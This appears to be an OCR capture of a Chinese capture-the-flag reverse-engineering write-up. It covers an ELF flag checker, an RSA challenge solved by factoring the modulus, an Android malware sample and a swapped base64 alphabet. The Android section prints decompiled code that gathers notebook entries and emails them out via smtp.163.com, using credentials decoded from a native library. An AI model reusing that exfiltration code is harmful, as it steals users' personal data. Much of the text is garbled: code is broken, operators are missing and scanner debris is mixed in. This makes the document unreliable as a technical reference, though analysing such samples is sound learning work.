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M exeinfo PE- ver.0.0.5.3 by AS.L- 1031+71sign 2018.09.25 — >

File: |re B - | P o

Entry Point : (00400890 | [oo| < EP Section : Wl

a File Offset: |? First Bytes : Plug
& LinkerInfo: [ | SubSystem : KE-3

File Size : 000CD3C0h < | Overlay: @3

Diagnose: S §

[NOT Win EXE - .0 - ELF executable [ 64bit obj. Exe file - CPU : AMD x8t] | 5can /t Rig

Lamer Info - Help Hint - Unpack info
|EI.F packer not detected , Sorry i ﬁ" "l"’ bt

elfScfE, IDAB4TFF

piibURE =k IS

13| v8 = _ readfsqword(@x28u);

14| v4 = @LL;

15| v5 = @LL;

16| w6 = OLL;

17| v7 = @LL;

18 sub 4BF958(( igned  inted)"input vour flag:");
19| sub 4BFASB(( t64) "%s", &4, eLL, eLL, eLL, eLL);
20 if ( (un ned int)sub 4@69AE((h ar *)&v4d) )
21| {

22 vB = "Correct!”;

23 sub_418358("Correct!™);

24, 1}

25| else

26| {

27 vl = "Wrong!";

28 sub_418358("Wrong!™);

291 1}

30 esult = @LL;

31 3 = Peadfsqword(BxQSU),

32 v2 = v3 ™ vE;

33 if ( v3 1= vB )

34 sub_443550(ve, &vd, v2);

35/ return result;

36[}

F i) W7 5 T PR BB 30 sub_4009AE ()

BOOLS8

__fastcall sub_4@09AE(char

if ( 1629056
return OLL;
if ( 6771600

al

al[1]

al)

166163712 )

731332800 )




if ( 3682944 al[2] 357245568 )
return OLL;

if ( 10431000 al[3] 1074393000 )
return OLL;

if ( 3977328 al[4] 489211344 )
return OLL;

if ( 5138336 al[5] 518971936 )
return OLL;

if ( 7532250 al[7] 406741500 )
return OLL;

if ( 5551632 al[8] 294236496 )
return OLL;

if ( 3409728 al[9] 177305856 )
return OLL;

if ( 13013670 al[10] 650683500 )
return OLL;

if ( 6088797 al[11] 298351053 )
return OLL;

if ( 7884663 al[12] 386348487
return OLL;

if ( 8944053 al[13] 438258597
return OLL;

if ( 5198490 al[14] 249527520
return OLL;

if ( 4544518 al[15] 445362764 )
return OLL;

if ( 3645600 al[17] 174988800
return OLL;

if ( 10115280 al[16] 981182160 )
return OLL;

if ( 9667504 al[18] 493042704 )
return OLL;

if ( 5364450 al[19] 257493600 )
return OLL;

if ( 13464540 al[20] 767478780 )
return OLL;

if ( 5488432 al[21] 312840624 )
return OLL;

if ( 14479500 al[22] 1404511500 )
return OLL;

if ( 6451830 al[23] 316139670
return OLL;

if ( 6252576 al[24] 619005024
return OLL;

if ( 7763364 al[25] 372641472
return OLL;

if ( 7327320 al[26] 373693320
return OLL;

if ( 8741520 al[27] 498266640
return OLL;

if ( 8871876 al[28] 452465676
return OLL;

if ( 4086720 al[29] 208422720
return OLL;

if ( 9374400 al[39] 515592000 )
return 5759124 * al[31] 719890500;

return OLL;
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166163712 1629056
731332800 6771600
357245568 3682944
1074393000 10431000
489211344 3977328
518971936 5138336

406741500 7532250
294236496 5551632
177305856 3409728
650683500 13013670
298351053 6088797
386348487 7884663
438258597 8944053
249527520 5198490
445362764 4544518
981182160 10115280
174988800 3645600
493042704 9667504
257493600 5364450
767478780 13464540
312840624 5488432
1404511500 14479500
316139670 6451830
619005024 6252576
372641472 7763364
EVEIEEEYLY) VEYYEYLY)
498266640 8741520
452465676 8871876
208422720 4086720
515592000 9374400
719890500 5759124

(a0), (al), (a2), (a3), (ad), (a5),a6, (a7), (a8), (a9), (al19), (al11), (a12), (
(a14), (a15), (al16), (al17), (a18), (a19), (a20), (a21), (a22), (a23), (a24), (a25)
(a26), (a27), (a28), (a29), (a30), (a31))

flagfe_65421110ba03099a1c039337}
T 6L, JRAEAS
flagfflag{e165421110ba03099a1c039337}
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¥ txeinfo PE- ver.0.0.5.3 by AS.L- 1031+71sign 2018.09.25 — X
Fie: |[sgnin | P Vo

Entry Point : [00000850 | [00] < EP Section: «ll

File Offset : |7 First Bytes : Plug

»

Linker Info : [7 SubSystem: [, ]

m,@ﬁ

File Size : 00002800h < N Overay: |7
i Diagnose: —---
[NOT Win EXE - .0 - ELF executable [ 64bit obj. Shared obj file - CPU : 4| gcan /¢ Rig
Lamer Info - Help Hint - Unpack info . . =
|ELF packer not detected , Sorry cje) fis _! L= Jit )
XABARTHGS, elfseft:, idab44T I
1@
11| v18 = _ readfsqword(©x28u);
12| puts(”[sign in]");
13| printf("[input your flag]: ", a2);
14| _ isoc99_scanf("%99s", &v&);
15| sub_96A(&vE, &v9);
16| _ empz_init_set str(&v7, "ad939ff59f6e70bcbtad40612494993757eee98b91bc244184a377520d06+c35", 16LL);
17| __empz_init_set str(&v6, &9, 16LL);
18| _ _gmpz_init_set_str(&v4, "103461035900816914121390101299049044413950405173712170434161686539878160984549", 10LL);
19| _ gmpz_init_set str(&v5, "65537", 16LL);
20| _ gmpz_powm(&ve, &vo, &v5, &vd);
21| if ( (unsigned int)__gmpz_cmp((__int64)&v6e, (__ int64)&v7) )
22 puts("GG!");
23| else
24 puts("TTTTTTTTTTql!™);
25| return OLL;
260}

BFRAT __gmpz_init_set_str B¥, XE— GNUREEHEE, ERSAINEHRLILK, B THABE TIXERSAM
%‘:

int mpz_init_set_str (mpz_t rop, char *str, int base)
mpz_t rop:ZfEEEHTE

char *str: Fff&

int base: #El

B strigiBbaset il Arop

void mpz_powm (mpz_t rop, const mpz_t base, const mpz_t exp, const mpz_t mod) [Function]

PR BT RE - base”expHEl&mod

M H 18 B HdR

P 3C: ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06Fc35
N (33t ) : 103461035900816914121390101299049044413950405173712170434161686539878160984549

E: 65537

7 ENE 2lp,q, DEBIESHEZEA

p 366669102002966856876605669837014229419
q 282164587459512124844245113950593348271


https://www.mrskye.cn/archives/18/

import gmpy2

import binascii

282164587459512124844245113950593348271
366669102002966856876605669837014229419

65537
0xad939ff59f6e70bcbfad40612494993757eee98b91bc244184a377520d06fc35
p q

gmpy2.invert(e, (p-1) (g-1))
gmpy2.powmod(c, d, n)

print(binascii.unhexlify( (m)[2:]).decode(encoding

suctf{Pwn_@_hundred_years}

flag®Z: flag{Pwn_@_hundred_years}
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=&t doInBackground
EEHEREERE
ERHEREERES
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=

EERECRE

EEr=(

B IUR EEHAME St.on/RLRIT3
FHUREIFNSE3

IEME(

e maeS =S
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Ljava/lang/Enum;
Ljavax/security/auth/callback/Callback;

—+7iftERE=L | Disassembly | Graph | =7FE

public class MailTask extends AsyncTask {
private String content;
private Context context;

public MailTask(String argl, Context arg2) {
super();
this.content = argl;
this.context = arg2;

}

protected Object doInBackground(Object[] arg2) {
return this.doInBackground(((Integer[])arg2));
b

protected String doInBackground(Integer[] argd) {
this.publishProgress(new Integer[]{Integer.valueof(1)});
| A2.log("E&# 2doInBackground™);
this.run(this.content);
return “doInBackground:" + this.content;

}

protected void onPostExecute(Object argl) {



this.onPostExecute(((String)argl));

}

protected void onPostExecute(String arg3) {
A2 log("=maAeaEcER:" + argld);

protected woid onPreExecute() {
A2. log("=maeaEane");

protected wvoid onProgressUpdate(Integer[] arg2) {
A2.log("ERBRAEEREET");

protected void onProgressUpdate(Object[] argl) {
this.onProgressUpdate(((Integer[])argl));
1

public veoid run(String argl2) {
String v3 = "7
Iterator vB = NoteBook.get(this.context, 1000).iterator();
while(wv8.hasNext()} {

e i Lt T - B

A2.gethoteBook(argl2);

i-F(!ﬁZrﬁEnMa.).)_{i'
A2 sendMailEy:lahaMail(Cz MATLSERVER, "ERE(" + v&
b

RTEHAE IR RHEEEE

I

public static int sendMailByJlawvaMail(String arg6, String arg?, String args) {
i'F LIS .UEUUQ,I 1_
Mail vl = new Mail(C2.MAILUSER, C2.MAILPASS);
vl.set_host("smtp.163.com™);
TILEEC_poOrCl 2= Js
vl.set_debuggable(true);
vl.set_to(new String[]{arg6l});
vl.set_from(C2.MATLFROME);
vl.set_subject(arg?);
vl.setBody(args);
try {
if(vl.send()) 1
Log.i{"IcetestActivity”, "Email was sent successfully.");
return 1;

}

Log.i{"IcetestActivity”, "Email was sent failed.™);

catch(Exception v@) {
Log.e("MailApp™, "Could not send email™, ((Throwable)we));

b

return 1;

R THRAE, XEAnew T HKIMEA, RETMAILUSERME—THR#EER

import java.text.SimpleDateFormat;
import java.util.Date;

public class C2 {
public static final String CANCELNUMBER = "%23%2321%237;
public static final String MAILFROME = null;
public static final String MATLHOST = "smip.163.com”;
public static final String MAILPASS = null;
public static final String MATLSERVER = null;
public static final String MAILUSER = null;
public static final String MOVENUMBER = "**21%121%23";
public static final String PORT = "257;
public static final String date = "2115-11-1";
public static final String phoneNumber;

static {
system. loadLlibrary("core™);
2 MATI CFRVFR = Rasefd darndalNatiuveMathod miih.
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C2.MATLUSER = Baset4.decode(NativeMethod.m());
C2.MAILPASS = Baset4.decode(NativeMethed.pwd());
C2.MATLFROME = Base64.decode(NativeMethod.m());
C2.phoneNumber = Baset4.decode(NativeMethed.p());

b

public C2() {
super();

b

AT LB FIMAILSERVER, iX £ £ n#k sk #8so 3 # H NativeMethod.m() & iR [l (118, F it Tbaseb4ff®r . FIHIRAIR FER

Fso X2 itbase64 N 1) F R & o

t LiENs5es

)

&= Certificate "~
> 1 Bytecode
» [= Resources
~ [= Libraries

w = armeakbi

> &t libcoreso

Fi, EHidatTIF, BT E R R R BIRKUbase64 N 5 B 717 5
B3N — T R AR MRk

18218465125 @|1 63.com
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Image is 32bit executable
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® 12| sub 403CF8(8unk 40E140);

;12 crandlad 212N -

AF]

e

1. 1




L SR\ QDy WMVL)

14| v5 = @;

15| vb = @;

16| v7 = @;

17| v8 = @;

18| v9 = @;

19| sub_401080(&v10, strlen(&v10), &v5);

28| v3 = @;

21| while ( *(( BYTE *)&/5 + v3) == byte 4BEQE4A[v3] )
22| {

23 if ( ++v3 > strlen((const char *)&v5) )
24 goto LABEL &;

250 3}

26| sub_483CF8(aError);

27|LABEL 6:

28| if ( v3 - 1 == strlen(byte 40EQE4) )

29 result = sub_4B3CF8(aAreYouHappyYes);
38| else

31 result = sub_403CF8(aAreYouHappylo);
32| return result;

33}

12 126 4TIfIsub_403CF8RHMHE %, 21 - 25 T HIwhile()R 775 & Hit po it 2,
i\ flag N 5610 1E A P A Y
FE191THI A% sub_se01080

16 w3 a;

17| wvé a;

18| sub_4@1800();

19| v5 = a2 % 3;

28| wvb = al;

21| v7 = a2 - a2 % 3;
22| w15 = a2 % 3;

23 if (w7 >0)

24 {

25 do

26 {

27 LOBYTE(v5) = *(_BYTE *)(al + v3);

28 v o+= 3;

29 vB = vd + 1;

30 *(_BYTE *)(vE++ + a3 - 1) = byte 40EQAO[(v5 >> 2) & Ox3F];

31 *(_BYTE #*)(v8++ + a3 - 1) = byte 40EOAG[16 * (*( BYTE *)(al + v3 - 3) & 3)

32 + (((signed int)*(unsigned _ int8 *)(al + v3 - 2) >> 4) & 0xF)];
33 *(_BYTE #*)(v8 + a3 - 1) = byte_40E0AB[4 * (*(_BYTE *)(al + v2 - 2) & @xF)

34 + (((signed int)*(unsigned _ int8 *})(al + v3 - 1) >> 6) & 3)];
35 V5 = *(_BYTE *)(al + v3 - 1) & Ox3F;

36 vd = v8 + 1;

37 *(_BYTE *)(v4 + 23 - 1) = byte 40EGAR[vS5];

38 ¥

39 while ( v3 < v7 );
40 v5 = v15;

41| }
42| if (v5 ==1)
43| {

44 LOBYTE(v7) = *(_BYTE *)}(v3 + al);

45 vl = v + 1;

46 *(_BYTE #*)(v9 + a2 - 1) = byte_40E0AB[(v7 >> 2) & Ox3F];
a7 vle = v9 + 1;

43 #(_BYTE #)(v10 + 22 - 1) = byte_40EQAB[16 * (*(_BYTE *)(v2 + al) & 3)];
49 *(_BYTE #)(vl10 + a3) = 61;

50|LABEL_8:

51 vl3 = v1@ + 1;

52 *(_BYTE #)(v13 + a3) = 61;

53 vd = vl13 + 1;

54 goto LABEL_9;

55 )
56| if ( v5 == 2 )
571 {

58 vll = v4 + 1;

59 *(BYTE *)(v1l + a3 - 1) = byte 4BEOAB[((signed int)*(unsigned _ int8 *)(v2 + al) »>> 2) & Ox3F];
60 v12 = (_BYTE *){v3 + al + 1};

61 LOBYTE(vG) = *v12;




Vi = V1L + 1;
*( BYTE *)(v10 + a3 - 1) = byte 40E@AB[16 * (*( BYTE *)(v3 + al) & 3) + ((v6 >> 4) & 0xF)];
*(_BYTE *)(v10 + a3) = byte 40E@AG[4 * (*v12 & OxF)];
goto LABEL_8;

¥

LABEL_9:
*(_BYTE *)(v4 + a3) = 0;
return sub_401030(=3);

|l T
FRR = = e s R R Wy

FIWATT sub_s01000 , XRE—ANHBBEHANNRAEL, SHEbase64MEHDE, BEEHE —/EH sub_401030 , XEXH
NN E A5

% B H sub_401000

1jsigned int sub_481000()

2{

3| signed int result; // eax

41 char v1; f/ <1

5

6| result = 6;

7| do

8 {

9 vl = byte 4ABE@AA[rezult];
10 byte 4ABE@AA[rezult] = byte 4BEBAB[rezuli];
11 byte 4ABEBAB[result++] = vi;
12( }
13| while ( result < 15 );
14| return result;

15[}

KA B BER AT T 8, WIEHMHANBAEE R, M AR—NMAE, N THRA6FEE TR R15, EERE
T10 (OxA) fr, WHERZQRSTUVWXYHMGHIUKLMNOPHER # T —F
TIPS 3R & ABCDEFQRSTUVWXYGHIJKLMNOPZabcdefghijklmnopgrstuvwxyz0123456789+/

W HE S
BHREX byte_4oeeEs HAHMIT KNSR REREIRE basebd (BRHRFHERE) MEFMES L BEHETELMMN
TR

; offset 10

( (orgin)):
[orgin[i]] orgin[i]
(6, 15):

[orgin[i]] , [orgin[i+offset]] [orgin[i+offset]] , [orgin[i]]

.swapcase()
( (secret)):
[secret[i]]
base64.b64decode(flag)
print(flag)
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